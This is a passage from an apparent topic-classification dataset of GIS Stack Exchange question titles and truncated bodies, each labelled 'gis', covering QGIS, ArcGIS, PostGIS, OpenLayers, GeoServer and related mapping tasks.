",['gis'] "Title: severe thunderstorms warnings dataset for europe Body: I'm looking at the possibility of using georef data on historic thunderstorms alerts. Does anyone know of a good (free ) source for this information? Thanks in advance ",['gis'] "Title: display WMS layer from geoserver in mobile app with openlayers mobile Body: i try to display WMS layer from geoserver with openLayers Mobile,and its working great in the navigator (chrome) but its not appeering in the simulator device (android)... & with another WMS ... ",['gis'] "Title: Which methods are most suited to classifying urban areas from Landsat imagery? Body: I am trying to use Landsat data to map urban extents over time. I need to perform a classification into built up / non built up areas. I am new to image classification. I have access to the following ... ",['gis'] "Title: Is it possible to recover ArcGIS Online tiles of a zone, then reproject and republish them in a Map Service? Body: I'd like to use ArcGIS Online basemaps but not is the Web Mercator projection. Because of that I want to know if it's possible to reproject and republish them in a Map Service. ",['gis'] "Title: Is there a best practices guide for adding bike infrastructure data to OSM? Body: Is there a best practices guide for adding bike infrastructure data to OSM? Not simply how to add a bike path, but a list of best practices for actually fleshing out sometimes disjointed bike ... ",['gis'] "Title: “Request contains a format not offered by the server.” Error when using CRS transformation with WMS in QGIS Body: When I try to load a WMS layer which has a WSG84 as a default projection and use a CRS transformation on it, it gives this error message: Request contains a format not offered by the server. The WMS ... ",['gis'] "Title: OpenLayers SelectFeature - Manually set feature as selected/unselected Body: In the OpenLayers SelectFeature, how can I manually set a feature as selected/unselected and have it reflect the appropriate color? For instance, when my application loads, it sends back the existing ... ",['gis'] "Title: How to implement Spatial Autocorrelation using QGIS or PostgreSQL (or any free application)? Body: I am a total newbie on the GIS scene so I hope this is not a stupid question. I have two layers in a PostgreSQL database. The first layer contains points where events happened in Europe. The second ... ",['gis'] "Title: SLD based selection on WMS layers - How to set the new style of clicked point? Body: I'm trying to follow this example: http://openlayers.org/dev/examples/SLDSelect.html When I click on the point, its color should be changed, here is a piece of my code: control = new ... ",['gis'] "Title: Getting a “java.lang.OutOfMemoryError” error while importing raster files from PostGIS to Geoserver Body: I am trying to import raster data from PostGIS to GeoServer. I follow the instructions given on this link. ... ",['gis'] "Title: PNG placemark with labels all around Body: I am new to KML. I want to create a KML showing PNG placemarks with a label on top, below, left and right. I have one point geometry where PNG is show with labels all around. How can I do accomplish ... ",['gis'] "Title: Do FeatureLayers reproject their features to adapt them to the map projection? Body: I'm working with the ArcGIS Flex API. For example, ArcGISDynamicMapLayers do reproject their data in order to make it in the same projection as the map. Do FeatureLayers have the same behaviour? ",['gis'] "Title: ArcGIS in PhoneGap Body: I am trying to set up a PhoneGap application with an ArcGIS Map using a Windows Phone template in Visual Studio 2012. I have tried using an example from the ArcGIS Javascript API samples to ... ",['gis'] "Title: How to make line with arrow head in QgsVectorLayer using python? Body: I need to draw line with arrow head or after drawn the line i need to make it as arrow head line by using python. or can we set any arrow head symbol for line features by using python? Kindly help me ... ",['gis'] "Title: How to clean layers from non topological databases? Body: I'm doing my internship in a consulting office which is switching from MapInfo to QGIS/GRASS 1.8.0. I posted here a few days ago about the way to clean a polyline from a Lidar data with v.clean. ... ",['gis'] "Title: How to bring workspace layer to one combo box and once layer selected in this attribute of this layer in other combo box Body: I want a layers in workspace in combo box.Once i select combo box i want attribute in selected layer to in other combo box. how can i do it. I am using geoserver, openlayers, Geoext and ext js. Can ... ",['gis'] "Title: ogr2ogr extract shp-file by extent with bash script Body: I'm batch extracting features from shp-files in a directory with this bash script: Is there a way to avoid the loop? I somewhere read that you can process folders but I was not able to get the right ... ",['gis'] "Title: Where can I get Beijing GIS data? Body: I was meandering so many places to find GIS data for Beijing. but it seems like I cannot get to any of useful resources. At least I got road, water shape files and outline of beijing city. ... ",['gis'] "Title: How to assigning multiple values (for single field) to a polygon layer [duplicate] Body: I am using arcmap 10 to generate a dataset that represents apartment building stock within particular suburbs. I have point data for the apartment buildings, with fields for the number of dwellings ... ",['gis'] "Title: Creating prepared geometries with OGR from Python Body: Is it possible to create a prepared geometry object using the Python SWIG geos.ogr module? It seems that Shapely and GeoDjango both have this functionality, but I can't see any mention of it in the ... ",['gis'] "Title: Issue with 'ESRI.ArcGIS.Client.Geometry.Geometry' in WCF service Body: I am having this issue with using Geomtry that is returned from a WCF service. As part of the service, I have added a service reference for the map service that I am using in this project. I am trying ... ",['gis'] "Title: Unsupervised KMeans classification in QGIS-Sextante Body: I get an error trying to run Unsupervised KMeans classification in QGIS-Sextante following Michal's at http://www.faunalia.com/content/detecting-tree-canopies-unsupervised-classification-sextante. I ... ",['gis'] "Title: arcpy & TraceGeometricNetwork return ERROR 000584 Body: I am developing a script to automate the creation of a road network following varying criteria. I have created a geometric network and I would like to get the connection between several points with ... ",['gis'] "Title: Display photos in time slider Body: I have a shapefile of points with geotagged photos attached through the Photos toolset, they correspond to a line shapefile that documents a trail taken while hiking. I am looking to create a video of ... ",['gis'] "Title: ArcSDE/ST_Geometry: Can I store polygon and point geometries in same row? Body: In the system I'm building, we've got a facility that can be represented as either a point, or a point within a polygon (the point in the polygon may or may not be the polygon's centroid). I'm using ... ",['gis'] "Title: How to get started with mapping the flow of natural gas using GIS? Body: I'd like to get involved with GIS, im a marine engineer and clueless about it and although i've tried to research it, I'm overwhelmed by the amount of programs available & information. I wanted to ... ",['gis'] "Title: Total station problem [duplicate] Body: I have total station data in local coordinates in excel format. Now i want to transform it into global coordinate (in utm) to correctly overlay on the actual place. What is the method? ",['gis'] "Title: need help with Legend in ArcGis JS Api 3.4 Body: I've been told to write up a small site which displays data from our ArcGis server. As a first time user of the ArcGis Api I instantly ran into a serious problem. I am creating a map with a datagrid ... ",['gis'] "Title: Need help in Symbology for ArcGIS JS API 3.2/3.3 Body: I am displaying various symbols in my application and initially all are displaying at once (looks like bulky) so how do I set symbol levels in ArcGIS so that according to zoom level symbol size will ... ",['gis'] "Title: How to extend a custom NASolver in ArcGIS Server 10.1? Body: The past year we developed a custom NASolver with C# , it works fine and that job has finished. Now we are planning to use it from ArcGIS Server. The problem is that we have no information for that. ... ",['gis'] "Title: Can i do everything with openlayers mobile like openlayers api? Body: Where can I download openlayers mobile api? Can i do everything with openlayers mobile like openlayers api? Thank you very much ",['gis'] "Title: Are there strategies for dealing with TopologyException errors in PostGIS 2? Body: Are there strategies for dealing with TopologyException errors in PostGIS 2? Nearly every function I run against two geometries results in a TopologyException (e.g. ST_Intersection, ST_SymDifference). ... ",['gis'] "Title: Postgis 2: Polygon/MultiPolygon in a single column Body: Storing MultiPolygon and Polygon features in a single column used to be as simple as not creating or removing the geometry type check constraint. Is there a similar simple fix in PostGIS 2? ",['gis'] "Title: Calculating area Body: I have a polygon layer. I toggled to edit mode. I added a new column, while number (integer) and called it ""area"". I then use the field calculator - geometry - $area to populate the polygon area for ... ",['gis'] "Title: WMS layer is not overlaying exactly when zooming out. How to add WMS layers to google map layer in openlayers? Body: My openlayers code is as follows. But there is shift in between both the layers. How to rectify it? map = new OpenLayers.Map( 'map_element',{} ); var gsat = new ... ",['gis'] "Title: Round Raster to next higher or lower int Body: I am using ArcGIS 10.1. I am searching for a solution to calculate a raster. The values are like: 0.2 0.6 5.3 i.e. How can I now get 0.2 as 0 and 0.6 to 1 and 5.3 to 5? In the end integer numbers. ... ",['gis'] "Title: Topographic Wetness Index Body: Is there any option to SAGA to calculate the Topographic Wetness Index ? I have a big area and I tried many times with SAGA, the last time I thought the results was ok (before SAGA would crash or give ... ",['gis'] "Title: How to show/hide labels with mapserver and openlayers Body: I'd like to have a check/uncheck option like this print checkbox to show/hide labels in my WMS layers served by mapserver 5.6.7 in openlayers 2.11. I have a toolbar where to put this using probably ... ",['gis'] "Title: qgis python app how to add edit feature button? Body: I'd like to develop a QGIS Python app for plotting points and editing the attributes. I've started with the tutorials here: http://blog.qgis.org/?q=node/59 and read the cookbook ... ",['gis'] "Title: how to stretch GMT raster with gdal to work with google Body: How can I stretch a PNG raster coming from GMT (Generic Mapping Tools 4.5.6) in such a way that does align with google satellite or bing? such raster is in wgs84 and crosses two UTM zones (17 and 18 ... ",['gis'] "Title: How to display relative concentration of point features in ArcMap (heatmap) Body: Please bear with me here - I'm pretty new to GIS, and I'm having a lot of confusion about all the different terms I've seen thrown around. Here's my problem: I have a large dataset of point ... ",['gis'] "Title: How to list Feature Classes of Multiple geodatabase in Multiple Folder? Body: I'm new in python scripting and try to list polyline feature classes of multiple Geodatabases. The Geodatabases are in many nested folders.For example in folder ""A"" I have 20 folders and in each ... ",['gis'] "Title: Shooting star algorithm in postgres 8.4 and postgis1.4 showing fatal error and remaining are working fine Body: When I try to run this shooting star algorithm, the postgis suddenly loosing connection to postgres and showing error no connection to server SELECT * FROM shortest_path_shooting_star(' SELECT gid ... ",['gis'] "Title: Raster Calculator question for Multiple Rasters Body: I am having trouble for writing script in Python (ArcGIS 10.1). The task is generally divide each raster by 100. I have many of these raster files.... So what I've done is the following: from ... ",['gis'] "Title: How to use WKT in Google Map V3? Body: We have a shape with the following WKT. The problem with google map we normally extract out each of the lat and long value and put into an array and finally will do something like this. It works fine ... ",['gis'] "Title: convert geotiff to simple xyz elevation file? Body: I have looked everywhere and can not find a tool to convert a geotiff file to a simple ascii elevation file... did I miss something? thanks for any pointers! ",['gis'] "Title: Problem reading attribute with Python using osgeo.ogr Body: I am working thru ""Python Geospatial Programming"" and I have a problem in a program in Chapter 6 that I cannot seem to solve. The small program: import osgeo.ogr shapefile = ... ",['gis'] "Title: How to import HDF (L1G) files in to Erdas or ArcGIS? Body: I have downloaded satellite imagery from GLCF website, it has downloaded with .L1G file extension, I am not able to open this file in ArcGIS as well in Erdas, so please let me know how to open this. ",['gis'] "Title: Append to rather than overwrite to a single table in arcpy Body: The code thus far works to create multiple output files, but I'd like to set it up so that the data is all exported onto a single table across multiple rows. The issue is I believe with the part in ... ",['gis'] "Title: Nearest Neighbor Focal Statistics and Map Algebra Body: I would like to use a nearest-neighbor type analysis to iterate over a raster. The nearest neighbor analysis will give a cell value of 1 IF AND ONLY IF the cell being analyzed has a cell value larger ... ",['gis'] "Title: How to become a GIS Mobile Developer? Body: I am mid level GIS Analyst\GPS Coordinator who would like to become a GIS mobile developer at some point. At my workplace we work in the ESRI Platform,ArcGIS Server etc Being a GIS Analyst without any ... ",['gis'] "Title: Web Feature Service Question Body: If I set up a Web Feature Service that provides point (location) data, can my WFS also provide a bunch of additional data for events that occurred at those points? Is there a better way to do that? ... ",['gis'] "Title: Openlayers vector feature coordinates are not transforming, Body: I have a OpenLayers vector with a single feature [0]. It's coordinates are in the map projection (EPSG:3413) and I want them in WGS84 (EPSG:4326) decimal degrees. I have the following code which ... ",['gis'] "Title: What is the maximum number of vertices for polygons & polylines in PostGIS? Body: What is the maximum number of vertices for polygons and polylines (including multipart) in PostGIS? Thanks ",['gis'] "Title: ArcToolbox Metadata. How does this work? Body: I've created several python scripts and created tools from them. I have a custom toolbox that contains all of my tools. I add this toolbox to the ArcToolbox window in ArcCatalog. I want to create ... ",['gis'] "Title: Publishing Maps to Mobile Devices and the Web Body: I have a bunch of agricultural information stored in a local postgis database. We use qgis to manipulate/analyze this information and to print output. I would like to publish this information (both ... ",['gis'] "Title: Is there a zonal statistics tool to calculate median and mode raster values for each polygon? Body: I'd like to calculate zonal statistics for a raster where the zones are defined by polygons in a vector layer within QGIS. Specifically I'm interested in calculating the median and mode raster values ... ",['gis'] "Title: Adding Google map layer in Openlayers - what about this function? Body: How to add Google map as a layer (something like ""var gmap = new OpenLayers.Layer.Google(""Google Streets"", {visibility: false})""?) to this mymap.js function i already have: var map = new ... ",['gis'] "Title: Reset style on select Leaflet polyline Body: Using Leaflet, how can I reset a polyline to it's previous color after it was selected? I have the following function that has been applied to each polyline when constructed: function ... ",['gis'] "Title: Reverse geocoding to get city, state, country data separately? Body: I have longitude and latitude data. I need to reverse geocode to get city, state, country data separately. I have checked google service. Google provides complete address to a micro level. ... ",['gis'] "Title: Joining Points and Polygons Body: I am new at using arcGIS 9.3.1 and am having trouble joining data. I have a shapefile of census tract polygons and a separate file of points that are crimes in Chicago in 2010. The crime points were ... ",['gis'] "Title: Get the total distance from a point to the end of a linestring Body: I have a list of GPS coordinates that make up a bus route: busRoute = [(x1, y1), (x2, y2), ... (xn, yn)] I also have a point that may not be exactly on that route (due to GPS error): ... ",['gis'] "Title: Why are Garmin provided maps inaccurate? Body: Collected tracks on my Garmin GPS (Oregon 450) or in BaseCamp seem to be not in the correct position. There's only a little detail with major highways but it looks as though the route is shifted ... ",['gis'] "Title: How to find the nearest line to a point in QGIS? [duplicate] Body: My question is that given a point and few lines, how should I go about finding the nearest line to the point? I am aware of How to I find the nearest line to a point?, but that isin ArcGIS and ... ",['gis'] "Title: Clipping buffers to census tracts Body: I have donut buffers generated to protect anonymity of household locations. They need to be clipped so that they are only inside the census tract that the original point was in. The code takes about 8 ... ",['gis'] "Title: How to draw perpendicular lines in QGIS? Body: I have a situation like this: What I need to do is to connect each point to every line that is at most, let's say 200 m, away from the point. In other words, I need to draw a perpendicular line ... ",['gis'] "Title: Does the National Hydrology Dataset geodatabase work in qgis? [duplicate] Body: I am running QGIS 1.8 on a windows xp pc and trying to put the USGS National Hydrology Dataset (more info herefor Oregon into a project. I try to ""add vector data"", using directory option then ... ",['gis'] "Title: Esri Technical Certification: Arc Gis Desktop Body: Esri Technical Certification, Arc Gis Desktop and Developer.. Where I can find books or course materials for esri arc gis desktop and developer certifications? ",['gis'] "Title: How much database bloat is reasonable? Body: I use personal geodatabases to hold all the data for my projects (probably around 10-20 feature classes across 2-4 datasets on average). I use the personal gdb because I like being able to hook into ... ",['gis'] "Title: Measuring Script Writing Competency Body: I've been asked by my manager to come up with some sort of competency measure for an employees understanding of scripting/programming. Because I am a self taught programmer, I really don't have a ... ",['gis'] "Title: How to import or incorporate formated Excel tab into QGIS print composer Body: I would like to know if there's a way to import formated Excel Tab into QGIS print composer. Below is an attachment of formatted Excel tab example I has been asked to display on qgis map composer. ... ",['gis'] "Title: InsertFeature on a versioned layer [vba] Body: I am writing an application that takes data from an Excel Spreadsheet and loads it into an ArcSDE feature class. The Feature class is editable within ArcMap, but I am having trouble inserting a ... ",['gis'] "Title: FeatureDataGrid and FeatureDataForm will not commit to database or input data Body: This is the second time that I have posted about this. In my previous question they told me I needed to enable the Feature Access capability. I did this and then it said I needed to have a Data Store ... ",['gis'] "Title: Reverse Vector Layer Feature order Body: I have a vector layer where some features are found entirely within other features and therefore I can't select that feature because the other feature is on top of it. Is there a way to reverse the ... ",['gis'] "Title: How to “Merge Selected Features” with python? Body: I have been looking for the answer to this question for some time now, but can't seem to find it! My problem is straight forward: I have one layer It contains lots of features (only polygons), say ... ",['gis'] "Title: Looking for Alternatives to Google gmaps utility widget for ArcGIS JSAPI API Body: I have been using https://code.google.com/p/gmaps-utility-gis/ as a solution to displaying Google imagery as a base layer on a ESRI JSAPI map. With the advent of JSAPI 3.4 and full AMD support this ... ",['gis'] "Title: Openlayers Overview - disappearing layers Body: when I do this: var options = { autoPan : true, size : new OpenLayers.Size(300, 200), layers : this.map.layers, mapOptions : { allOverlays : true ... ",['gis'] "Title: How to repair and clean contours from high data resolution (lidar)? Body: I'm unsuccessfully trying to make a bathymetric map with contours extracted from Lidar data at 1 m resolution. The extracted contours have a lot of artifacts like dangles and islands. First I used ... ",['gis'] "Title: How to display point features w.r.t field values of a polygon file in arcobjects? Body: I have a point & polygon shapefile. Point file has a field namely, Type: atm,hospital,school etc... Polygon file has a field Zone: Zn1, Zn2, Zn3. There will be two combo boxes which will populate ... ",['gis'] "Title: Create easy Annotations from point features with python in ArcGIS 10.0 Body: Because in ArcGIS 10.0 there is still no simple toolbox function to convert labels to Annotation, I try to go a substitude way with the callable Toolbox function [TiledLabelsToAnnotation][1] on a ... ",['gis'] "Title: Integrate QGIS into Hadoop cloud is it possible? Body: It might be very basic question. Can I integrate QGIS +Hadoop cloud? Currently I am going through similar question and few research articles & researching on my side. In upcoming ArcGIS 10.2 ... ",['gis'] "Title: Geoserver WMS getfeature info error Body: ""Internal error occurred PropertyDescriptor is null - did you request a property that does not exist? PropertyDescriptor is null - did you request a property that does not exist? "" This error message ... ",['gis'] "Title: Win7 Senior users_Which pgRouting and postGIS versions are stable with postgreSQL8.4? Body: I'm working on a postgreSQL ,postGIS and pgRouting project on Windows 7 I need to work on a stable version (no time for risks), and I can see that many people are asking the same question many ... ",['gis'] "Title: What are the units of the calculated area from a raster in decimal degree Body: I'm trying to calculate area for a raster file which contains 2 layers (0 for unsuitable habitat and 1 for suitable). It's been calculated successfully but I don't know what is the unit of the ... ",['gis'] "Title: Downloading multiple files from TIGER FTP site Body: Hello everyone! I've been downloading TIGER data per county from the FTP site one at a time, with some states having hundreds of files. I was curious if there was a faster way to download maybe all ... ",['gis'] "Title: Joining features based on location and attribute at the same time Body: I have a task of assigning data from database that I represent as point layer, and containing information about characteristics of soils through the world, and also soil type. I also have polygon ... ",['gis'] "Title: Are polygons created in Arcpy built in any order? Body: My script uses a search cursor to evaluate polyline coordinates and build polygons based on those coordinates. The script works well, but I am curious as to whether anyone knows the order (if there ... ",['gis'] "Title: Switching between background 64 bit processing and 32 (so I can use 3rd party ie XTools) Body: I often run scripts now with 64 bit background processing enabled but when I want to use certain tools like Xtools table to text I have to turn it off as these tools are 32 bit. Is there a way to ... ",['gis'] "Title: How to transform GPX-tracks into elevation-tracks with any GIS? Body: I have a GPS track in GPX format available from a recent bike tour and I need and want to do some analysis on the tracks. I'm wondering whether there is any way to transform the GPX data into an ... ",['gis'] "Title: Cancel event in Python Gp tools with arcpy Body: In GP-tools written in C# (ArcObjects) we can listen for the Cancel-event and react on that. I wonder if there is anything similar in Python GP-tools applying arcpy. I googled that issue and the only ... ",['gis'] "Title: Select / Deselect and Identify Features in QGIS Body: Sorry if this is all a bit 101, but I'm new to QGIS. I basically have a large Arc project that I can access in QGIS for reference, so will only really be using it to identify features. For example to ... ",['gis'] "Title: Reduce processing time in Erase function using Arcpy in IDLE Body: I am processing 18,000 feature classes (saved in a file GDB), each with ~500 records (polygon features) in ocean areas, and I am running a script to remove area overlapping with the coast, using the ... ",['gis'] "Title: Need help in Print task in ArcGIS JSAPI 3.2/3.3 Body: I am using print task in my code and using dynamic map service layer and graphics layer (not using feature service layer) and I am able to print the map but it’s not displaying info window and ... ",['gis'] "Title: Masking/removing polygons from shapefile Body: I have a shapefile containing the road traffic noise of a city. The shapefile has 5 columns, where 'noise_in' (noise interval) ranging from 1-5 is included. I want to remove/mask the road noise from ... ",['gis'] "Title: Shapefile and DEM: check rivers behaviour Body: I'm working with shapefiles representing rivers (rivers.shp), and DEM for the terrain elevation (terrain.tif). Basically, I want to check that my rivers (stored as polylines in my shapefile) behave ... ",['gis'] "Title: How to label points with two lines in tilemill Body: I am designing a map in Tilemill. I want to label my POIs with tow lines. If I am using text-wrap-width:1; then its breaking the labels with each word as a new line. Such as if the label is ""One ... ",['gis'] "Title: Uploading Polyline feature in ArcGIS Online [duplicate] Body: I'm seeing some snapping/topological errors in ArcGIS Online (trial version) when I upload my well snapped polyline layer. Please see the screen shot below. What may be the cause of this? ",['gis'] "Title: ArcPy: DDP Error in exporting only occurs with “SELECTED” Body: I'm trying to use DDP (Data Driven Pages) and am running into a problem. I'm using arcpy.SelectLayerByAttribute_management to select a series of records, and then trying to use the ... ",['gis'] "Title: TMS or WMS source(s) for DEM data tiles? Body: I'm spinning my wheels trying to find an existing, free source for TMS or WMS elevation data that doesn't involve a long-winded clickabout or an emailed url. This question has a similar purpose, but ... ",['gis'] "Title: ArcGIS Javascipt Api Printing Body: I've got a webpage which prints a web map via the ArcGIS Javascript API. The DPI of the print is 72. To debug I added three different types of symbols 1. The default (most of them are) 2. One custom ... ",['gis'] "Title: ArcExplorer - possible connect to a non-SDE database? Body: In ArcExplorer, I'm wondering if you can connect to a non-SDE database, like SQL Server, with geometry or geography columns? ",['gis'] "Title: Averaging satellite data with missing values (using Python) Body: I am using sea surface temperature, chlorophyll, and other data parameters as covariants in a model, and I would like to average them over a particular time period. I am currently doing this using a ... ",['gis'] "Title: How to combine use gradient symbols for layer properties excluding 0? Body: I want to visualize my data by using graduated symbols. Now, there are some objects with value ""0"", they should not be printed on the map (which I solved by using rule-based symbols). But, anyway, ""0"" ... ",['gis'] "Title: problems uploading data onto qgis cloud Body: I am using QGIS 1.8.0 on a windows 7 machine. Trying to upload a project onto QGIS Cloud. I have 2 issues. Firstly when i go to publish a map it directs me to upload the data. As i am using a free ... ",['gis'] "Title: access attributes of one class for use in another class in python add-in Body: I want to get combobox attribute 'dem' and use it for further processing in class ExtentData. But I am not sure how to get attributes from one class to another for processing in pythonaddin. In ... ",['gis'] "Title: cast from IFeatureClass to ISchemaLock Body: I'm programming with the ARCGIS Java SDK, in Eclipse. I need to cast an IFeatureClass to an ISchemalock. This cast is supposed to be allowed. There is an example of this cast in: ... ",['gis'] "Title: Styling a WFS layer, how to control title in legend? Body: I have a problem with styling a WFS in OpenLayers. I tried different ways (from the examples) to style the WFS, but I could only get the default style in orange. Then I found one way, which worked for ... ",['gis'] "Title: Non-spatial Data Driven Pages Body: Is it possible to utilise the Data Driven Pages (DDP) tool in ArcMap or ArcPy to create a set of maps with the same extent but showing different layers? To clarify I regularly make large sets of ... ",['gis'] "Title: ARCGIS JS API map.centerAndZoom() Body: I'm trying to get the map to move and zoom in to a point when a function is executed. Point gets selected, but without zoom. Interestingly when I zoom in to a random location and then execute the ... ",['gis'] "Title: publishing postgis raster in geoserver [duplicate] Body: I have stored a table of raster file through raster2pgsql in postgis. When i connect it to the geoserver and publish it, the bounding box limits are described illegal. Also the raster images are saved ... ",['gis'] "Title: Getting: org.opengis.referencing.NoSuchIdentifierException: No transform for classification “Transverse Mercator Zoned Grid System” with geotools Body: Using geotools I've been trying to create a referenced envelope after converting/reprojecting from WGS 84 to UTM with specific zones and it seems that either I need to do something with authority ... ",['gis'] "Title: Problem saving after CellStatistics list ERROR 010240 Body: I am having trouble saving outputs from CellStatistics but only when I run it on a list of rasters. This was working on python 26 but not 27. I know this example is nonsense, but: env.workspace = ... ",['gis'] "Title: Official source for QGIS icons or banners? Body: I am going to use maps and analysis results generated by QGIS in a presentation. Besides citing the official reference i want to show a small QGIS icon or Banner on the first slide. I found some nice ... ",['gis'] "Title: Running a QC check for gaps between vertices on a polyline Body: I'm checking polylines to make sure power pylons were correctly extracted from imagery. Is there a way to find all of the gaps or missed pylons in the database? Currently, I'm manually making a ... ",['gis'] "Title: GeoServer WMS OGC-filter fails with “I dont understand the tag: gml:Polygon” Body: I'm trying to construct an OGC filter to pass to a WMS GetMap request to GeoServer but I can't seem to do it. The goal is to show the parts of the layer that intersects with a supplied polygon. ... ",['gis'] "Title: Qgis - taudem plugin - python script not found Body: I installed the sextante toolbox on qgis. my os is fedora. grass works fine but i've got problems with taudem. it seems like some python files are missing. for instance when i try to run the ... ",['gis'] "Title: not able to view imported .tif file in geoserver Body: I am using geoserver. I have imported a .tif file using postgis, which has been saved in vector type layer in geoserver. Now, whenever, I preview it, the layer gets automatically downloaded as wms ... ",['gis'] "Title: Showing snapping error in ArcGIS Online Body: I am doing some test in ArcGIS online to know how much helpful it is for my firm, But when I opened my road line .Zip shapefile in ArcGIS online it is showing some snapping issues as well as changed ... ",['gis'] "Title: Is it possible to show our custom message in QGIS Status bar using python? Body: Is there any way to show our custom message in Qgis Status bar using python? Just like in arcgis ""IApplication.statusbar.message(0) = ""Please wait..."" like that is there any option to show ... ",['gis'] "Title: view the imported .tif file on geoserver [duplicate] Body: I am using geoserver. Using raster2pgsql, I have imported a .tif file in database. However, now, when I'm trying to import that .tif file in geoserver using postgis, I'm unable to preview it, since ... ",['gis'] "Title: How to Export to PDF after zooming to extent of each feature that meets SQL where clause? Body: I realize that I've asked two similar questions recently, but following suggestions in the comment chain, I'll make this a separate question (separate as it is not the no output problem in ArcPy: ... ",['gis'] "Title: Create points around the edge of viewshed results? Body: Is there a tool or module, or multiple tools, in ArcGIS that will allow you to automate the creation of points around the outer edges of a viewshed? What I am trying to do is gather data about the ... ",['gis'] "Title: How to get a message when the map is moved in QGIS? Body: I want to get a message when every time I move the map. I had: def info(self): QMessageBox.information( self, self.tr( ""Info"" ), self.tr(""info"") ) I suppose that used to be something like ... ",['gis'] "Title: Is there any method to analyze data from fire protection events? [closed] Body: I want to analyze data from events in fire protection a create some illustration of maps. In short: my task is to find methods for data visualization. Data are represented by point layer (each event ... ",['gis'] "Title: How to obtain the center of Vector layer created using WFS query? Body: I created a vector GML layer using a WFS query with a filter. The layer renders fine . However, the layer does not appear to have any features associated with it (layer.features.length is 0 ) I need ... ",['gis'] "Title: ArcPy: (SearchCursor/export to tiff ) with no output [closed] Body: I'm trying to write a script that uses a search cursor to loop through a field in a .shp file (Incident_Z) find every value that meets a specific condition (zip code=10004) and then at a scale of ... ",['gis'] "Title: Limit legend only to the displayed area in mapserver + pmapper Body: I have a big map consist of many scattered layers. To make loading faster, I have merge several layers into one shapefile (*.shp). So in total there are only around 5 layers in the each MAP file. BTW ... ",['gis'] "Title: MrSid => GeoTiff Body: I have a MrSid file that I would like to convert to a GeoTiff. Is there a way to do this on a Mac running Mountain Lion? I know it can be done on Windows and Linux using the LizardTech command line ... ",['gis'] "Title: “Sequence size” doesn't match row in Python? Body: Essentially I am trying to calculate a value for a couple of fields after adding them. Below you can see how I am adding the fields and then an example on how my ""for"" statement is looping through the ... ",['gis'] "Title: Which function for creating a POINT in PostGIS? Body: When defining a Point in PostGIS, when do you decide to use which of the following? ST_SetSRID(ST_MakePoint(lon,lat),4326) ST_SetSRID(ST_Point(long,lat),4326) ST_SetSRID(ST_GeomFromText('POINT(lon ... ",['gis'] "Title: How do I create a drop down box / combo box of bookmarks from an ArcGIS Online webmap? Body: Without using the clunky ArcGIS bookmark dijit, how do I create a drop down box of bookmarks from an ArcGIS Online webmap (or JSON) that zoom to the extents when clicked? //FYI, JSON format ... ",['gis'] "Title: OpenLayers: make polygons not zoom Body: I have a simple OpenStreetMap for which I want to display a series of circles. Each circle represents readership for that area, so its radius will change based on the numbers. However, when I create ... ",['gis'] "Title: How to determine lock on file geodatabase? Body: I'm trying to delete a file geodatabase through Windows Explorer but I get the error message: The action can't be completed because the folder or file in it is open in another program. Close the ... ",['gis'] "Title: error in estimate distance? Body: i do some experiment place two sensor node between them 4 meter as distance. then i get these GPS information: node1: Latitude: 32, 33.255 , Longitude: 36, 0.6632 node2: Latitude: 32, 33.228 , ... ",['gis'] "Title: OpenLayers - Weird behaviour when a feature is zoomed in Body: The problem is when I zoom on a feature inside OpenLayers with any browsers, at a certain zoom level the feature flip like you can see in those pictures ",['gis'] "Title: Postgis invalid geometry from shape file Body: I'm having trouble converting a Feature class (shape file) to a DB table (Postgresql 8.4/Postgis 1.5). This is the command in the pg log: INSERT INTO ""public"".""distritos"" (""Shape"" , ""DEPARTAMEN"" , ... ",['gis'] "Title: PROJ4 C++ API: Amersfoort RD New to WGS84 Body: I try to convert between dutch RD New (EPSG:28992) and WGS84 (EPSG:4326) via PROJ4 C++ API. On the console this works with: cs2cs +proj=sterea +lat_0=52.15616055555555 +lon_0=5.38763888888889 ... ",['gis'] "Title: Get the lines between all points of a polygon in PostGis : avoid nested loop? Body: I am trying to get all the lines between the points of a polygon, by writing PostGreSQL functions. I have written the two following functions that do the job fine : the first function to get all the ... ",['gis'] "Title: Performance loss for OpenLayers EPSG transformation? Storing GeoJSON coordinates in lat/lon or in native map projection? Body: For a project the map projection is EPSG:32468 (tiles). On top of the map, two or three GeoJSON LineStrings should be displayed using OpenLayers. Each LineString has about 1500 coordinates. ... ",['gis'] "Title: Will Google Earth see my kml - on different versions? Body: Is there any difference in the kml script to allow different versions of Google Earth to see it ? If I write <?xml version=""1.0"" encoding=""UTF-8""?> <kml ... ",['gis'] "Title: Automate process of duplicating point features - ArcGIS 10.0 Body: I need to learn a way in which I can normalize data and in the same process duplicate certain records of a point feature class. The issue is as follows. I am provided address data in the following ... ",['gis'] "Title: How to programmatically change an SVG symbol in the Vector Layer? Body: I'm trying to change the symbol used in a layer via Python. I've been able to tunnel through a vector layer to the symbol layer, but I don't know how to change the symbol it's using. I'd like to ... ",['gis'] "Title: Collapsing the multi-row output of a one-to-many spatial join to single-row (arcmap 10.1) Body: I'm working with TIGER data, looking at the relationships among incorporated places and counties. Not all places are completely contained by counties; some do span multiple counties. In the final ... ",['gis'] "Title: US Census Data - An orderly means of deducting the area-weighted population of segments of incorporated places from the population of counties? Body: I'm working in ArcMap 10.1. Currently examining the segment of states with a geographical hierarchy of Counties, coextensive with state boundaries Within counties, unincorporated areas and ... ",['gis'] "Title: What is causing - Arcmap errors (010302/010067) while using 3D analyst/CutFill? [closed] Body: I'm using the Cut/Fill tool in 3d analyst to measure the volume of a feature, but I'm getting the following errors: ERROR 010302: Unable to create the output raster: C:\Program Files ... ",['gis'] "Title: How to convince an organization to move towards open source GIS? Body: After spending the better part of the year on this site I am seeing how big the open source GIS community is. I used to just think it was ESRI and nothing else. That said, how do you begin to nudge or ... ",['gis'] "Title: How to fix 'pgsql2shp: command not found' in PostGIS Query Editor Plugin? Body: I'm using QGIS 1.8 on Macbook Pro running OSX 10.8.3 and I am having difficulty using the PostGIS Query Editor plugin. When I try and execute a query in this plugin I get the following error in the ... ",['gis'] "Title: What is the easiest one click install method for PostGIS and it's entire dependencies? Body: For someone new to database servers and their dependencies, what is the easiest assured way of installing PostGIS on a machine with no other software beyond what comes with its operating system? I'd ... ",['gis'] "Title: Spatial Join produces incorrect values Body: I'm trying to do a spatial join of a point file (created from a raster) to a polygon (target), where I am joining the GRID_CODE value from the point to the polygon. I've tried a variety of ... ",['gis'] "Title: How to crop a satellite image? Body: I am wondering how to or if it is possible to crop a SPOT satellite image (the image has black edges) using ArcMap 10 and if so how do you do this. I appreciate any advice. ",['gis'] "Title: When did the word “geospatial” first come into usage? Body: For historical reasons, 